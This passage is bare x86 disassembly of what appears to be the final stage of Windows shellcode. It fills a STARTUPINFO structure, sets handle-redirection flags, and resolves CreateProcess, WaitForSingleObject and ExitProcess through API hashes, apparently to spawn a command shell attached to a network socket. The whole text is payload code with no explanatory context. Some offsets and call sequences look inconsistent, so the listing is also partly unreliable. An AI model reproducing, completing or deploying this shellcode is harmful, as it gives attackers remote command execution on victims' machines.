0x00E9 29CC   SUB ESP,ECX 
0x00EB 89E7   MOV EDI,ESP 
0x00ED 6A 44   PUSH 44 
0x00EF 89E2   MOV EDX,ESP 
0x00F1 31C0   XOR EAX,EAX 
0x00F2 F3:AA   REP STOS BYTE PTR ES:[EDI] 
0x00F5 FE42 2D  INC BYTE PTR DS:[EDX+2D] 
0x00F8 FE42 2C  INC BYTE PTR DS:[EDX+2C] 
0x00FB 93   XCHG EAX,EBX 
0x00FC 8D7A 38  LEA EDI,DWORD PTR DS:[EDX+38] 
0x00FF AB   STOS DWORD PTR ES:[EDI] 
0x0100 AB   STOS DWORD PTR ES:[EDI] 
0x0101 AB   STOS DWORD PTR ES:[EDI] 
0x0102 68 72FEB316  PUSH 16B3FE72  
0x0107 FF75 44  PUSH DWORD PTR SS:[EBP+44] 
0x010A FFD6   CALL ESI 
0x010C 5B   POP EBX 
0x010D 57   PUSH EDI 
0x010E 52   PUSH EDX 
0x010F 51   PUSH ECX 
0x0110 51   PUSH ECX 
0x0111 51   PUSH ECX 
0x0112 6A 01   PUSH 1 
0x0114 51   PUSH ECX 
0x0115 51   PUSH ECX 
0x0116 55   PUSH EBP 
0x0117 51   PUSH ECX 
0x0118 FFD0   CALL EAX 

 

0x011A 68 ADD905CE  PUSH CE05D9AD 
0x011F 53   PUSH EBX 
0x0120 FFD6   CALL ESI 
0x0122 6A FF   PUSH -1 
0x0124 FF37   PUSH DWORD PTR DS:[EDI] 
0x0126 FFD0   CALL EAX 

 

0x0128 8B57 FC  MOV EDX,DWORD PTR DS:[EDI-4] 
0x012B 83C4 64  ADD ESP,64 
0x012E FFD6   CALL ESI 
0x0130 52   PUSH EDX 
0x0131 FFD0   CALL EAX 
 
 
 



 

 

0x0133 68 7ED8E273  PUSH 73E2D87E 
0x0138 53   PUSH EBX 
0x0139 FFD6   CALL ESI 
0x013B FFD0   CALL EAX 
 


